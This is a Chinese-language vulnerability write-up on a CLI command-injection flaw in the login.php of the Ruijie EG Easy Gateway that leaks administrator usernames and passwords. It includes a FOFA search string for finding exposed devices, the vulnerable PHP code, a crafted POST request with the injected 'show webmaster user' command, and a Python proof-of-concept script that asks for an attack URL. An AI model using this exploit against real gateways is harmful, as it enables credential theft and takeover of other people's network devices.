# 锐捷EG易网关 管理员账号密码泄露漏洞
## 漏洞描述
锐捷EG易网关 login.php存在 CLI命令注入,导致管理员账号密码泄露漏洞
## 漏洞影响
> 锐捷EG易网关
## FOFA
> app=”Ruijie-EG易网关”
## 漏洞复现
登录页面如下
![](/static/qingy/锐捷EG易网关_管理员账号密码泄露漏洞/img/ruijie-25.png)
漏洞文件 login.php
“`php
1 || count(preg_split($reg, $password)) > 1) {
$data[“status”] = 6;
$data[“msg”] = “username or password can’t exist ‘\r\n'”;
json_echo($data);
exit();
}
if ($username == FALSE || $password == FALSE) {
$data[“status”] = 5;
$data[“msg”] = “username or password can’t empty”;
json_echo($data);
exit();
}
$res = execCli(“exec”, “webmaster $username $password”);
if ($res[“status”] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res[“data”]);
if ($isSuccess == 0) { //用户名、账号验证成功
session_start();
$_SESSION[‘username’] = $username; //记录用户名
$_SESSION[“lasttime”] = time(); //记录登录时间
$config = @file_get_contents(DS . “data” . DS . “web.config”); //获取web配置信息
if ($config != false) {
$config = unserialize($config);
$_SESSION[“timeout”] = isset($config[“loginTimeout”]) ? $config[“loginTimeout”] * 60 : c(“timeout”);
} else {
$_SESSION[“timeout”] = c(“timeout”);
}
setcookie(“user”, $_SESSION[‘username’]);
}
$res[“data”] = $isSuccess;
json_echo($res);
}
/**
* 获取设备信息
*/
function versionAction() {
$info = $version = execCli(“exec”, “show version detail”, “”);
$info[“data”] = preg_split(“/\r*\n/”, $info[“data”]);
json_echo($info);
}
}
include_once(AROOT . “init.php”); //mvc初始化入口,放在底部
“`
关键代码部分
“`
if ($username == FALSE || $password == FALSE) {
$data[“status”] = 5;
$data[“msg”] = “username or password can’t empty”;
json_echo($data);
exit();
}
$res = execCli(“exec”, “webmaster $username $password”);
if ($res[“status”] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res[“data”]);
“`
发送请求包,拼接 CLI指令 **show webmaster user**
“`
POST /login.php HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
username=admin&password=admin?show+webmaster+user
“`
![](/static/qingy/锐捷EG易网关_管理员账号密码泄露漏洞/img/ruijie-26.png)
成功获取账号密码
## 漏洞POC
“`python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import base64
import requests
import random
import re
import json
import sys
def POC_1(target_url):
vuln_url = target_url + “/login.php”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”
}
data = ‘username=admin&password=admin?show+webmaster+user’
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print(“\033[36m[o] 正在执行 show webmaster user \033[0m”.format(target_url))
if “data” in response.text and response.status_code == 200:
print(“\033[36m[o] 成功获取, 响应为:{} \033[0m”.format(response.text))
except Exception as e:
print(“\033[31m[x] 请求失败:{} \033[0m”.format(e))
sys.exit(0)
#
if __name__ == ‘__main__’:
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`
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